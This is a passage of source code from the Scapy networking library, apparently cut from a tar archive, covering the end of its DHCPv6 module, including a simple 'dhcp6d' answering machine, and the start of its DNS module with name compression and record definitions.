must match the value of original message # The server includes a Rapid Commit option in the Reply message to # indicate that the reply is in response to a solicit message # - if the client receives a reply message with a Status code option # with the value UseMulticast, the client records the receipt of the # message and sends subsequent messages to the server through the # interface on which the message was received using multicast. The # client resends the original message using multicast # - When the client receives a NotOnLink status from the server in # response to a Confirm message, the client performs DHCP server # solicitation as described in section 17 and client-initiated # configuration as descrribed in section 18 (RFC 3315) # - when the client receives a NotOnLink status from the server in # response to a Request, the client can either re-issue the Request # without specifying any addresses or restart the DHCP server # discovery process. # - the server must include a server identifier option containing the # server's DUID in the Reply message class DHCP6_Reply(DHCP6): name = "DHCPv6 Reply Message" msgtype = 7 overload_fields = {UDP: {"sport": 547, "dport": 546}} def answers(self, other): types = (DHCP6_Solicit, DHCP6_InfoRequest, DHCP6_Confirm, DHCP6_Rebind, DHCP6_Decline, DHCP6_Request, DHCP6_Release, DHCP6_Renew) return (isinstance(other, types) and self.trid == other.trid) ##################################################################### # Release Message # - sent by clients # - must include a server identifier option # cf p53 class DHCP6_Release(DHCP6): name = "DHCPv6 Release Message" msgtype = 8 ##################################################################### # Decline Message # - sent by clients # - must include a client identifier option # - Server identifier option must match server identifier # - The addresses to be declined must be included in the IAs. Any # addresses for the IAs the client wishes to continue to use should # not be in added to the IAs. # - cf p54 class DHCP6_Decline(DHCP6): name = "DHCPv6 Decline Message" msgtype = 9 ##################################################################### # Reconfigure Message # - sent by servers # - must be unicast to the client # - must include a server identifier option # - must include a client identifier option that contains the client DUID # - must contain a Reconfigure Message Option and the message type # must be a valid value # - the server sets the transaction-id to 0 # - The server must use DHCP Authentication in the Reconfigure # message. Autant dire que ca va pas etre le type de message qu'on va # voir le plus souvent. class DHCP6_Reconf(DHCP6): name = "DHCPv6 Reconfigure Message" msgtype = 10 overload_fields = {UDP: {"sport": 547, "dport": 546}} ##################################################################### # Information-Request Message # - sent by clients when needs configuration information but no # addresses. # - client should include a client identifier option to identify # itself. If it doesn't the server is not able to return client # specific options or the server can choose to not respond to the # message at all. The client must include a client identifier option # if the message will be authenticated. # - client must include an ORO of option she's interested in receiving # (can include hints) class DHCP6_InfoRequest(DHCP6): name = "DHCPv6 Information Request Message" msgtype = 11 ##################################################################### # sent between Relay Agents and Servers # # Normalement, doit inclure une option "Relay Message Option" # peut en inclure d'autres. # voir section 7.1 de la 3315 # Relay-Forward Message # - sent by relay agents to servers # If the relay agent relays messages to the All_DHCP_Servers multicast # address or other multicast addresses, it sets the Hop Limit field to # 32. class DHCP6_RelayForward(_DHCP6OptGuessPayload, Packet): name = "DHCPv6 Relay Forward Message (Relay Agent/Server Message)" fields_desc = [ByteEnumField("msgtype", 12, dhcp6types), ByteField("hopcount", None), IP6Field("linkaddr", "::"), IP6Field("peeraddr", "::")] overload_fields = {UDP: {"sport": 547, "dport": 547}} def hashret(self): # we filter on peer address field return inet_pton(socket.AF_INET6, self.peeraddr) ##################################################################### # sent between Relay Agents and Servers # Normalement, doit inclure une option "Relay Message Option" # peut en inclure d'autres. # Les valeurs des champs hop-count, link-addr et peer-addr # sont copiees du message Forward associe. POur le suivi de session. # Pour le moment, comme decrit dans le commentaire, le hashret # se limite au contenu du champ peer address. # Voir section 7.2 de la 3315. # Relay-Reply Message # - sent by servers to relay agents # - if the solicit message was received in a Relay-Forward message, # the server constructs a relay-reply message with the Advertise # message in the payload of a relay-message. cf page 37/101. Envoie de # ce message en unicast au relay-agent. utilisation de l'adresse ip # presente en ip source du paquet recu class DHCP6_RelayReply(DHCP6_RelayForward): name = "DHCPv6 Relay Reply Message (Relay Agent/Server Message)" msgtype = 13 def hashret(self): # We filter on peer address field. return inet_pton(socket.AF_INET6, self.peeraddr) def answers(self, other): return (isinstance(other, DHCP6_RelayForward) and self.hopcount == other.hopcount and self.linkaddr == other.linkaddr and self.peeraddr == other.peeraddr) bind_bottom_up(UDP, _dhcp6_dispatcher, {"dport": 547}) bind_bottom_up(UDP, _dhcp6_dispatcher, {"dport": 546}) class DHCPv6_am(AnsweringMachine): function_name = "dhcp6d" filter = "udp and port 546 and port 547" send_function = staticmethod(send) def usage(self): msg = """ DHCPv6_am.parse_options( dns="2001:500::1035", domain="localdomain, local", duid=None, iface=conf.iface, advpref=255, sntpservers=None, sipdomains=None, sipservers=None, nisdomain=None, nisservers=None, nispdomain=None, nispservers=None, bcmcsdomains=None, bcmcsservers=None) debug : When set, additional debugging information is printed. duid : some DUID class (DUID_LLT, DUID_LL or DUID_EN). If none is provided a DUID_LLT is constructed based on the MAC address of the sending interface and launch time of dhcp6d answering machine. iface : the interface to listen/reply on if you do not want to use conf.iface. advpref : Value in [0,255] given to Advertise preference field. By default, 255 is used. Be aware that this specific value makes clients stops waiting for further Advertise messages from other servers. dns : list of recursive DNS servers addresses (as a string or list). By default, it is set empty and the associated DHCP6OptDNSServers option is inactive. See RFC 3646 for details. domain : a list of DNS search domain (as a string or list). By default, it is empty and the associated DHCP6OptDomains option is inactive. See RFC 3646 for details. sntpservers : a list of SNTP servers IPv6 addresses. By default, it is empty and the associated DHCP6OptSNTPServers option is inactive. sipdomains : a list of SIP domains. By default, it is empty and the associated DHCP6OptSIPDomains option is inactive. See RFC 3319 for details. sipservers : a list of SIP servers IPv6 addresses. By default, it is empty and the associated DHCP6OptSIPDomains option is inactive. See RFC 3319 for details. nisdomain : a list of NIS domains. By default, it is empty and the associated DHCP6OptNISDomains option is inactive. See RFC 3898 for details. See RFC 3646 for details. nisservers : a list of NIS servers IPv6 addresses. By default, it is empty and the associated DHCP6OptNISServers option is inactive. See RFC 3646 for details. nispdomain : a list of NIS+ domains. By default, it is empty and the associated DHCP6OptNISPDomains option is inactive. See RFC 3898 for details. nispservers : a list of NIS+ servers IPv6 addresses. By default, it is empty and the associated DHCP6OptNISServers option is inactive. See RFC 3898 for details. bcmcsdomain : a list of BCMCS domains. By default, it is empty and the associated DHCP6OptBCMCSDomains option is inactive. See RFC 4280 for details. bcmcsservers : a list of BCMCS servers IPv6 addresses. By default, it is empty and the associated DHCP6OptBCMCSServers option is inactive. See RFC 4280 for details. If you have a need for others, just ask ... or provide a patch.""" print(msg) def parse_options(self, dns="2001:500::1035", domain="localdomain, local", startip="2001:db8::1", endip="2001:db8::20", duid=None, sntpservers=None, sipdomains=None, sipservers=None, nisdomain=None, nisservers=None, nispdomain=None, nispservers=None, bcmcsservers=None, bcmcsdomains=None, iface=None, debug=0, advpref=255): def norm_list(val, param_name): if val is None: return None if isinstance(val, list): return val elif isinstance(val, str): tmp_len = val.split(',') return [x.strip() for x in tmp_len] else: print("Bad '%s' parameter provided." % param_name) self.usage() return -1 if iface is None: iface = conf.iface self.debug = debug # Dictionary of provided DHCPv6 options, keyed by option type self.dhcpv6_options = {} for o in [(dns, "dns", 23, lambda x: DHCP6OptDNSServers(dnsservers=x)), (domain, "domain", 24, lambda x: DHCP6OptDNSDomains(dnsdomains=x)), # noqa: E501 (sntpservers, "sntpservers", 31, lambda x: DHCP6OptSNTPServers(sntpservers=x)), # noqa: E501 (sipservers, "sipservers", 22, lambda x: DHCP6OptSIPServers(sipservers=x)), # noqa: E501 (sipdomains, "sipdomains", 21, lambda x: DHCP6OptSIPDomains(sipdomains=x)), # noqa: E501 (nisservers, "nisservers", 27, lambda x: DHCP6OptNISServers(nisservers=x)), # noqa: E501 (nisdomain, "nisdomain", 29, lambda x: DHCP6OptNISDomain(nisdomain=(x + [""])[0])), # noqa: E501 (nispservers, "nispservers", 28, lambda x: DHCP6OptNISPServers(nispservers=x)), # noqa: E501 (nispdomain, "nispdomain", 30, lambda x: DHCP6OptNISPDomain(nispdomain=(x + [""])[0])), # noqa: E501 (bcmcsservers, "bcmcsservers", 33, lambda x: DHCP6OptBCMCSServers(bcmcsservers=x)), # noqa: E501 (bcmcsdomains, "bcmcsdomains", 34, lambda x: DHCP6OptBCMCSDomains(bcmcsdomains=x))]: # noqa: E501 opt = norm_list(o[0], o[1]) if opt == -1: # Usage() was triggered return False elif opt is None: # We won't return that option pass else: self.dhcpv6_options[o[2]] = o[3](opt) if self.debug: print("\n[+] List of active DHCPv6 options:") opts = sorted(self.dhcpv6_options) for i in opts: print(" %d: %s" % (i, repr(self.dhcpv6_options[i]))) # Preference value used in Advertise. self.advpref = advpref # IP Pool self.startip = startip self.endip = endip # XXX TODO Check IPs are in same subnet #### # The interface we are listening/replying on self.iface = iface #### # Generate a server DUID if duid is not None: self.duid = duid else: # Timeval epoch = (2000, 1, 1, 0, 0, 0, 5, 1, 0) delta = time.mktime(epoch) - EPOCH timeval = time.time() - delta # Mac Address rawmac = get_if_raw_hwaddr(iface)[1] mac = ":".join("%.02x" % orb(x) for x in rawmac) self.duid = DUID_LLT(timeval=timeval, lladdr=mac) if self.debug: print("\n[+] Our server DUID:") self.duid.show(label_lvl=" " * 4) #### # Find the source address we will use self.src_addr = None try: addr = next(x for x in in6_getifaddr() if x[2] == iface and in6_islladdr(x[0])) # noqa: E501 except (StopIteration, RuntimeError): warning("Unable to get a Link-Local address") return else: self.src_addr = addr[0] #### # Our leases self.leases = {} if self.debug: print("\n[+] Starting DHCPv6 service on %s:" % self.iface) def is_request(self, p): if IPv6 not in p: return False src = p[IPv6].src p = p[IPv6].payload if not isinstance(p, UDP) or p.sport != 546 or p.dport != 547: return False p = p.payload if not isinstance(p, DHCP6): return False # Message we considered client messages : # Solicit (1), Request (3), Confirm (4), Renew (5), Rebind (6) # Decline (9), Release (8), Information-request (11), if not (p.msgtype in [1, 3, 4, 5, 6, 8, 9, 11]): return False # Message validation following section 15 of RFC 3315 if ((p.msgtype == 1) or # Solicit (p.msgtype == 6) or # Rebind (p.msgtype == 4)): # Confirm if ((DHCP6OptClientId not in p) or DHCP6OptServerId in p): return False if (p.msgtype == 6 or # Rebind p.msgtype == 4): # Confirm # XXX We do not reply to Confirm or Rebind as we # XXX do not support address assignment return False elif (p.msgtype == 3 or # Request p.msgtype == 5 or # Renew p.msgtype == 8): # Release # Both options must be present if ((DHCP6OptServerId not in p) or (DHCP6OptClientId not in p)): return False # provided server DUID must match ours duid = p[DHCP6OptServerId].duid if not isinstance(duid, type(self.duid)): return False if raw(duid) != raw(self.duid): return False if (p.msgtype == 5 or # Renew p.msgtype == 8): # Release # XXX We do not reply to Renew or Release as we # XXX do not support address assignment return False elif p.msgtype == 9: # Decline # XXX We should check if we are tracking that client if not self.debug: return False bo = Color.bold g = Color.green + bo b = Color.blue + bo n = Color.normal r = Color.red vendor = in6_addrtovendor(src) if (vendor and vendor != "UNKNOWN"): vendor = " [" + b + vendor + n + "]" else: vendor = "" src = bo + src + n it = p addrs = [] while it: lst = [] if isinstance(it, DHCP6OptIA_NA): lst = it.ianaopts elif isinstance(it, DHCP6OptIA_TA): lst = it.iataopts addrs += [x.addr for x in lst if isinstance(x, DHCP6OptIAAddress)] # noqa: E501 it = it.payload addrs = [bo + x + n for x in addrs] if self.debug: msg = r + "[DEBUG]" + n + " Received " + g + "Decline" + n msg += " from " + bo + src + vendor + " for " msg += ", ".join(addrs) + n print(msg) # See RFC 3315 sect 18.1.7 # Sent by a client to warn us she has determined # one or more addresses assigned to her is already # used on the link. # We should simply log that fact. No messaged should # be sent in return. # - Message must include a Server identifier option # - the content of the Server identifier option must # match the server's identifier # - the message must include a Client Identifier option return False elif p.msgtype == 11: # Information-Request if DHCP6OptServerId in p: duid = p[DHCP6OptServerId].duid if not isinstance(duid, type(self.duid)): return False if raw(duid) != raw(self.duid): return False if ((DHCP6OptIA_NA in p) or (DHCP6OptIA_TA in p) or (DHCP6OptIA_PD in p)): return False else: return False return True def print_reply(self, req, reply): def norm(s): if s.startswith("DHCPv6 "): s = s[7:] if s.endswith(" Message"): s = s[:-8] return s if reply is None: return bo = Color.bold g = Color.green + bo b = Color.blue + bo n = Color.normal reqtype = g + norm(req.getlayer(UDP).payload.name) + n reqsrc = req.getlayer(IPv6).src vendor = in6_addrtovendor(reqsrc) if (vendor and vendor != "UNKNOWN"): vendor = " [" + b + vendor + n + "]" else: vendor = "" reqsrc = bo + reqsrc + n reptype = g + norm(reply.getlayer(UDP).payload.name) + n print("Sent %s answering to %s from %s%s" % (reptype, reqtype, reqsrc, vendor)) # noqa: E501 def make_reply(self, req): p = req[IPv6] req_src = p.src p = p.payload.payload msgtype = p.msgtype trid = p.trid def _include_options(query, answer): """ Include options from the DHCPv6 query """ # See which options should be included reqopts = [] if query.haslayer(DHCP6OptOptReq): # add only asked ones reqopts = query[DHCP6OptOptReq].reqopts for o, opt in six.iteritems(self.dhcpv6_options): if o in reqopts: answer /= opt else: # advertise everything we have available # Should not happen has clients MUST include # and ORO in requests (sec 18.1.1) -- arno for o, opt in six.iteritems(self.dhcpv6_options): answer /= opt if msgtype == 1: # SOLICIT (See Sect 17.1 and 17.2 of RFC 3315) # XXX We don't support address or prefix assignment # XXX We also do not support relay function --arno client_duid = p[DHCP6OptClientId].duid resp = IPv6(src=self.src_addr, dst=req_src) resp /= UDP(sport=547, dport=546) if p.haslayer(DHCP6OptRapidCommit): # construct a Reply packet resp /= DHCP6_Reply(trid=trid) resp /= DHCP6OptRapidCommit() # See 17.1.2 resp /= DHCP6OptServerId(duid=self.duid) resp /= DHCP6OptClientId(duid=client_duid) else: # No Rapid Commit in the packet. Reply with an Advertise if (p.haslayer(DHCP6OptIA_NA) or p.haslayer(DHCP6OptIA_TA)): # XXX We don't assign addresses at the moment msg = "Scapy6 dhcp6d does not support address assignment" resp /= DHCP6_Advertise(trid=trid) resp /= DHCP6OptStatusCode(statuscode=2, statusmsg=msg) resp /= DHCP6OptServerId(duid=self.duid) resp /= DHCP6OptClientId(duid=client_duid) elif p.haslayer(DHCP6OptIA_PD): # XXX We don't assign prefixes at the moment msg = "Scapy6 dhcp6d does not support prefix assignment" resp /= DHCP6_Advertise(trid=trid) resp /= DHCP6OptStatusCode(statuscode=6, statusmsg=msg) resp /= DHCP6OptServerId(duid=self.duid) resp /= DHCP6OptClientId(duid=client_duid) else: # Usual case, no request for prefixes or addresse resp /= DHCP6_Advertise(trid=trid) resp /= DHCP6OptPref(prefval=self.advpref) resp /= DHCP6OptServerId(duid=self.duid) resp /= DHCP6OptClientId(duid=client_duid) resp /= DHCP6OptReconfAccept() _include_options(p, resp) return resp elif msgtype == 3: # REQUEST (INFO-REQUEST is further below) client_duid = p[DHCP6OptClientId].duid resp = IPv6(src=self.src_addr, dst=req_src) resp /= UDP(sport=547, dport=546) resp /= DHCP6_Solicit(trid=trid) resp /= DHCP6OptServerId(duid=self.duid) resp /= DHCP6OptClientId(duid=client_duid) _include_options(p, resp) return resp elif msgtype == 4: # CONFIRM # see Sect 18.1.2 # Client want to check if addresses it was assigned # are still appropriate # Server must discard any Confirm messages that # do not include a Client Identifier option OR # THAT DO INCLUDE a Server Identifier Option # XXX we must discard the SOLICIT if it is received with # a unicast destination address pass elif msgtype == 5: # RENEW # see Sect 18.1.3 # Clients want to extend lifetime of assigned addresses # and update configuration parameters. This message is sent # specifically to the server that provided her the info # - Received message must include a Server Identifier # option. # - the content of server identifier option must match # the server's identifier. # - the message must include a Client identifier option pass elif msgtype == 6: # REBIND # see Sect 18.1.4 # Same purpose as the Renew message but sent to any # available server after he received no response # to its previous Renew message. # - Message must include a Client Identifier Option # - Message can't include a Server identifier option # XXX we must discard the SOLICIT if it is received with # a unicast destination address pass elif msgtype == 8: # RELEASE # See RFC 3315 section 18.1.6 # Message is sent to the server to indicate that # she will no longer use the addresses that was assigned # We should parse the message and verify our dictionary # to log that fact. # - The message must include a server identifier option # - The content of the Server Identifier option must # match the server's identifier # - the message must include a Client Identifier option pass elif msgtype == 9: # DECLINE # See RFC 3315 section 18.1.7 pass elif msgtype == 11: # INFO-REQUEST client_duid = None if not p.haslayer(DHCP6OptClientId): if self.debug: warning("Received Info Request message without Client Id option") # noqa: E501 else: client_duid = p[DHCP6OptClientId].duid resp = IPv6(src=self.src_addr, dst=req_src) resp /= UDP(sport=547, dport=546) resp /= DHCP6_Reply(trid=trid) resp /= DHCP6OptServerId(duid=self.duid) if client_duid: resp /= DHCP6OptClientId(duid=client_duid) # Stack requested options if available for o, opt in six.iteritems(self.dhcpv6_options): resp /= opt return resp else: # what else ? pass # - We won't support reemission # - We won't support relay role, nor relay forwarded messages # at the beginning scapy-2.4.4/scapy/layers/dns.py000077500000000000000000001067061372370053500164360ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ DNS: Domain Name System. """ from __future__ import absolute_import import struct import time from scapy.config import conf from scapy.packet import Packet, bind_layers, NoPayload from scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, \ ConditionalField, FieldLenField, FlagsField, IntField, \ PacketListField, ShortEnumField, ShortField, StrField, StrFixedLenField, \ StrLenField, MultipleTypeField, UTCTimeField from scapy.compat import orb, raw, chb, bytes_encode from scapy.ansmachine import AnsweringMachine from scapy.sendrecv import sr1 from scapy.layers.inet import IP, DestIPField, IPField, UDP, TCP from scapy.layers.inet6 import DestIP6Field, IP6Field from scapy.error import warning, Scapy_Exception import scapy.modules.six as six from scapy.modules.six.moves import range def dns_get_str(s, pointer=0, pkt=None, _fullpacket=False): """This function decompresses a string s, starting from the given pointer. :param s: the string to decompress :param pointer: first pointer on the string (default: 0) :param pkt: (optional) an InheritOriginDNSStrPacket packet :returns: (decoded_string, end_index, left_string) """ # The _fullpacket parameter is reserved for scapy. It indicates # that the string provided is the full dns packet, and thus # will be the same than pkt._orig_str. The "Cannot decompress" # error will not be prompted if True. max_length = len(s) # The result = the extracted name name = b"" # Will contain the index after the pointer, to be returned after_pointer = None processed_pointers = [] # Used to check for decompression loops # Analyse given pkt if pkt and hasattr(pkt, "_orig_s") and pkt._orig_s: s_full = pkt._orig_s else: s_full = None bytes_left = None while True: if abs(pointer) >= max_length: warning("DNS RR prematured end (ofs=%i, len=%i)" % (pointer, len(s))) break cur = orb(s[pointer]) # get pointer value pointer += 1 # make pointer go forward if cur & 0xc0: # Label pointer if after_pointer is None: # after_pointer points to where the remaining bytes start, # as pointer will follow the jump token after_pointer = pointer + 1 if pointer >= max_length: warning("DNS incomplete jump token at (ofs=%i)" % pointer) break # Follow the pointer pointer = ((cur & ~0xc0) << 8) + orb(s[pointer]) - 12 if pointer in processed_pointers: warning("DNS decompression loop detected") break if not _fullpacket: # Do we have access to the whole packet ? if s_full: # Yes -> use it to continue bytes_left = s[after_pointer:] s = s_full max_length = len(s) _fullpacket = True else: # No -> abort raise Scapy_Exception("DNS message can't be compressed" + "at this point!") processed_pointers.append(pointer) continue elif cur > 0: # Label # cur = length of the string name += s[pointer:pointer + cur] + b"." pointer += cur else: break if after_pointer is not None: # Return the real end index (not the one we followed) pointer = after_pointer if bytes_left is None: bytes_left = s[pointer:] # name, end_index, remaining return name, pointer, bytes_left def dns_encode(x, check_built=False): """Encodes a bytes string into the DNS format :param x: the string :param check_built: detect already-built strings and ignore them :returns: the encoded bytes string """ if not x or x == b".": return b"\x00" if check_built and b"." not in x and ( orb(x[-1]) == 0 or (orb(x[-2]) & 0xc0) == 0xc0 ): # The value has already been processed. Do not process it again return x # Truncate chunks that cannot be encoded (more than 63 bytes..) x = b"".join(chb(len(y)) + y for y in (k[:63] for k in x.split(b"."))) if x[-1:] != b"\x00": x += b"\x00" return x def DNSgetstr(*args, **kwargs): """Legacy function. Deprecated""" warning("DNSgetstr deprecated. Use dns_get_str instead") return dns_get_str(*args, **kwargs) def dns_compress(pkt): """This function compresses a DNS packet according to compression rules. """ if DNS not in pkt: raise Scapy_Exception("Can only compress DNS layers") pkt = pkt.copy() dns_pkt = pkt.getlayer(DNS) build_pkt = raw(dns_pkt) def field_gen(dns_pkt): """Iterates through all DNS strings that can be compressed""" for lay in [dns_pkt.qd, dns_pkt.an, dns_pkt.ns, dns_pkt.ar]: if lay is None: continue current = lay while not isinstance(current, NoPayload): if isinstance(current, InheritOriginDNSStrPacket): for field in current.fields_desc: if isinstance(field, DNSStrField) or \ (isinstance(field, MultipleTypeField) and current.type in [2, 3, 4, 5, 12, 15]): # Get the associated data and store it accordingly # noqa: E501 dat = current.getfieldval(field.name) yield current, field.name, dat current = current.payload def possible_shortens(dat): """Iterates through all possible compression parts in a DNS string""" yield dat for x in range(1, dat.count(b".")): yield dat.split(b".", x)[x] data = {} burned_data = 0 for current, name, dat in field_gen(dns_pkt): for part in possible_shortens(dat): # Encode the data encoded = dns_encode(part, check_built=True) if part not in data: # We have no occurrence of such data, let's store it as a # possible pointer for future strings. # We get the index of the encoded data index = build_pkt.index(encoded) index -= burned_data # The following is used to build correctly the pointer fb_index = ((index >> 8) | 0xc0) sb_index = index - (256 * (fb_index - 0xc0)) pointer = chb(fb_index) + chb(sb_index) data[part] = [(current, name, pointer)] else: # This string already exists, let's mark the current field # with it, so that it gets compressed data[part].append((current, name)) # calculate spared space burned_data += len(encoded) - 2 break # Apply compression rules for ck in data: # compression_key is a DNS string replacements = data[ck] # replacements is the list of all tuples (layer, field name) # where this string was found replace_pointer = replacements.pop(0)[2] # replace_pointer is the packed pointer that should replace # those strings. Note that pop remove it from the list for rep in replacements: # setfieldval edits the value of the field in the layer val = rep[0].getfieldval(rep[1]) assert val.endswith(ck) kept_string = dns_encode(val[:-len(ck)], check_built=True)[:-1] new_val = kept_string + replace_pointer rep[0].setfieldval(rep[1], new_val) try: del(rep[0].rdlen) except AttributeError: pass # End of the compression algorithm # Destroy the previous DNS layer if needed if not isinstance(pkt, DNS) and pkt.getlayer(DNS).underlayer: pkt.getlayer(DNS).underlayer.remove_payload() return pkt / dns_pkt return dns_pkt class InheritOriginDNSStrPacket(Packet): __slots__ = Packet.__slots__ + ["_orig_s", "_orig_p"] def __init__(self, _pkt=None, _orig_s=None, _orig_p=None, *args, **kwargs): self._orig_s = _orig_s self._orig_p = _orig_p Packet.__init__(self, _pkt=_pkt, *args, **kwargs) class DNSStrField(StrLenField): """ Special StrField that handles DNS encoding/decoding. It will also handle DNS decompression. (may be StrLenField if a length_from is passed), """ def h2i(self, pkt, x): if not x: return b"." return x def i2m(self, pkt, x): return dns_encode(x, check_built=True) def i2len(self, pkt, x): return len(self.i2m(pkt, x)) def getfield(self, pkt, s): remain = b"" if self.length_from: remain, s = StrLenField.getfield(self, pkt, s) # Decode the compressed DNS message decoded, _, left = dns_get_str(s, 0, pkt) # returns (remaining, decoded) return left + remain, decoded class DNSRRCountField(ShortField): __slots__ = ["rr"] def __init__(self, name, default, rr): ShortField.__init__(self, name, default) self.rr = rr def _countRR(self, pkt): x = getattr(pkt, self.rr) i = 0 while isinstance(x, DNSRR) or isinstance(x, DNSQR) or isdnssecRR(x): x = x.payload i += 1 return i def i2m(self, pkt, x): if x is None: x = self._countRR(pkt) return x def i2h(self, pkt, x): if x is None: x = self._countRR(pkt) return x class DNSRRField(StrField): __slots__ = ["countfld", "passon"] holds_packets = 1 def __init__(self, name, countfld, passon=1): StrField.__init__(self, name, None) self.countfld = countfld self.passon = passon def i2m(self, pkt, x): if x is None: return b"" return bytes_encode(x) def decodeRR(self, name, s, p): ret = s[p:p + 10] # type, cls, ttl, rdlen typ, cls, _, rdlen = struct.unpack("!HHIH", ret) p += 10 cls = DNSRR_DISPATCHER.get(typ, DNSRR) rr = cls(b"\x00" + ret + s[p:p + rdlen], _orig_s=s, _orig_p=p) # Will have changed because of decompression rr.rdlen = None rr.rrname = name p += rdlen return rr, p def getfield(self, pkt, s): if isinstance(s, tuple): s, p = s else: p = 0 ret = None c = getattr(pkt, self.countfld) if c > len(s): warning("wrong value: DNS.%s=%i", self.countfld, c) return s, b"" while c: c -= 1 name, p, _ = dns_get_str(s, p, _fullpacket=True) rr, p = self.decodeRR(name, s, p) if ret is None: ret = rr else: ret.add_payload(rr) if self.passon: return (s, p), ret else: return s[p:], ret class DNSQRField(DNSRRField): def decodeRR(self, name, s, p): ret = s[p:p + 4] p += 4 rr = DNSQR(b"\x00" + ret, _orig_s=s, _orig_p=p) rr.qname = name return rr, p class DNSTextField(StrLenField): """ Special StrLenField that handles DNS TEXT data (16) """ islist = 1 def m2i(self, pkt, s): ret_s = list() tmp_s = s # RDATA contains a list of strings, each are prepended with # a byte containing the size of the following string. while tmp_s: tmp_len = orb(tmp_s[0]) + 1 if tmp_len > len(tmp_s): warning("DNS RR TXT prematured end of character-string (size=%i, remaining bytes=%i)" % (tmp_len, len(tmp_s))) # noqa: E501 ret_s.append(tmp_s[1:tmp_len]) tmp_s = tmp_s[tmp_len:] return ret_s def any2i(self, pkt, x): if isinstance(x, (str, bytes)): return [x] return x def i2len(self, pkt, x): return len(self.i2m(pkt, x)) def i2m(self, pkt, s): ret_s = b"" for text in s: text = bytes_encode(text) # The initial string must be split into a list of strings # prepended with theirs sizes. while len(text) >= 255: ret_s += b"\xff" + text[:255] text = text[255:] # The remaining string is less than 255 bytes long if len(text): ret_s += struct.pack("!B", len(text)) + text return ret_s class DNS(Packet): name = "DNS" fields_desc = [ ConditionalField(ShortField("length", None), lambda p: isinstance(p.underlayer, TCP)), ShortField("id", 0), BitField("qr", 0, 1), BitEnumField("opcode", 0, 4, {0: "QUERY", 1: "IQUERY", 2: "STATUS"}), BitField("aa", 0, 1), BitField("tc", 0, 1), BitField("rd", 1, 1), BitField("ra", 0, 1), BitField("z", 0, 1), # AD and CD bits are defined in RFC 2535 BitField("ad", 0, 1), # Authentic Data BitField("cd", 0, 1), # Checking Disabled BitEnumField("rcode", 0, 4, {0: "ok", 1: "format-error", 2: "server-failure", 3: "name-error", 4: "not-implemented", 5: "refused"}), DNSRRCountField("qdcount", None, "qd"), DNSRRCountField("ancount", None, "an"), DNSRRCountField("nscount", None, "ns"), DNSRRCountField("arcount", None, "ar"), DNSQRField("qd", "qdcount"), DNSRRField("an", "ancount"), DNSRRField("ns", "nscount"), DNSRRField("ar", "arcount", 0), ] def answers(self, other): return (isinstance(other, DNS) and self.id == other.id and self.qr == 1 and other.qr == 0) def mysummary(self): name = "" if self.qr: type = "Ans" if self.ancount > 0 and isinstance(self.an, DNSRR): name = ' "%s"' % self.an.rdata else: type = "Qry" if self.qdcount > 0 and isinstance(self.qd, DNSQR): name = ' "%s"' % self.qd.qname return 'DNS %s%s ' % (type, name) def post_build(self, pkt, pay): if isinstance(self.underlayer, TCP) and self.length is None: pkt = struct.pack("!H", len(pkt) - 2) + pkt[2:] return pkt + pay def compress(self): """Return the compressed DNS packet (using `dns_compress()`""" return dns_compress(self) def pre_dissect(self, s): """ Check that a valid DNS over TCP message can be decoded """ if isinstance(self.underlayer, TCP): # Compute the length of the DNS packet if len(s) >= 2: dns_len = struct.unpack("!H", s[:2])[0] else: message = "Malformed DNS message: too small!" warning(message) raise Scapy_Exception(message) # Check if the length is valid if dns_len < 14 or len(s) < dns_len: message = "Malformed DNS message: invalid length!" warning(message) raise Scapy_Exception(message) return s # https://www.iana.org/assignments/dns-parameters/dns-parameters.xhtml#dns-parameters-4 dnstypes = { 0: "ANY", 1: "A", 2: "NS", 3: "MD", 4: "MF", 5: "CNAME", 6: "SOA", 7: "MB", 8: "MG", 9: "MR", 10: "NULL", 11: "WKS", 12: "PTR", 13: "HINFO", 14: "MINFO", 15: "MX", 16: "TXT", 17: "RP", 18: "AFSDB", 19: "X25", 20: "ISDN", 21: "RT", # noqa: E501 22: "NSAP", 23: "NSAP-PTR", 24: "SIG", 25: "KEY", 26: "PX", 27: "GPOS", 28: "AAAA", 29: "LOC", 30: "NXT", 31: "EID", 32: "NIMLOC", 33: "SRV", 34: "ATMA", 35: "NAPTR", 36: "KX", 37: "CERT", 38: "A6", 39: "DNAME", 40: "SINK", 41: "OPT", 42: "APL", 43: "DS", 44: "SSHFP", 45: "IPSECKEY", 46: "RRSIG", 47: "NSEC", 48: "DNSKEY", 49: "DHCID", 50: "NSEC3", 51: "NSEC3PARAM", 52: "TLSA", 53: "SMIMEA", 55: "HIP", 56: "NINFO", 57: "RKEY", # noqa: E501 58: "TALINK", 59: "CDS", 60: "CDNSKEY", 61: "OPENPGPKEY", 62: "CSYNC", 99: "SPF", 100: "UINFO", 101: "UID", 102: "GID", 103: "UNSPEC", 104: "NID", 105: "L32", 106: "L64", 107: "LP", 108: "EUI48", 109: "EUI64", 249: "TKEY", 250: "TSIG", 256: "URI", 257: "CAA", 258: "AVC", 32768: "TA", 32769: "DLV", 65535: "RESERVED" } dnsqtypes = {251: "IXFR", 252: "AXFR", 253: "MAILB", 254: "MAILA", 255: "ALL"} dnsqtypes.update(dnstypes) dnsclasses = {1: 'IN', 2: 'CS', 3: 'CH', 4: 'HS', 255: 'ANY'} class DNSQR(InheritOriginDNSStrPacket): name = "DNS Question Record" show_indent = 0 fields_desc = [DNSStrField("qname", "www.example.com"), ShortEnumField("qtype", 1, dnsqtypes), ShortEnumField("qclass", 1, dnsclasses)] # RFC 2671 - Extension Mechanisms for DNS (EDNS0) class EDNS0TLV(Packet): name = "DNS EDNS0 TLV" fields_desc = [ShortEnumField("optcode", 0, {0: "Reserved", 1: "LLQ", 2: "UL", 3: "NSID", 4: "Reserved", 5: "PING"}), # noqa: E501 FieldLenField("optlen", None, "optdata", fmt="H"), StrLenField("optdata", "", length_from=lambda pkt: pkt.optlen)] # noqa: E501 def extract_padding(self, p): return "", p class DNSRROPT(InheritOriginDNSStrPacket): name = "DNS OPT Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 41, dnstypes), ShortField("rclass", 4096), ByteField("extrcode", 0), ByteField("version", 0), # version 0 means EDNS0 BitEnumField("z", 32768, 16, {32768: "D0"}), # D0 means DNSSEC OK from RFC 3225 FieldLenField("rdlen", None, length_of="rdata", fmt="H"), PacketListField("rdata", [], EDNS0TLV, length_from=lambda pkt: pkt.rdlen)] # noqa: E501 # RFC 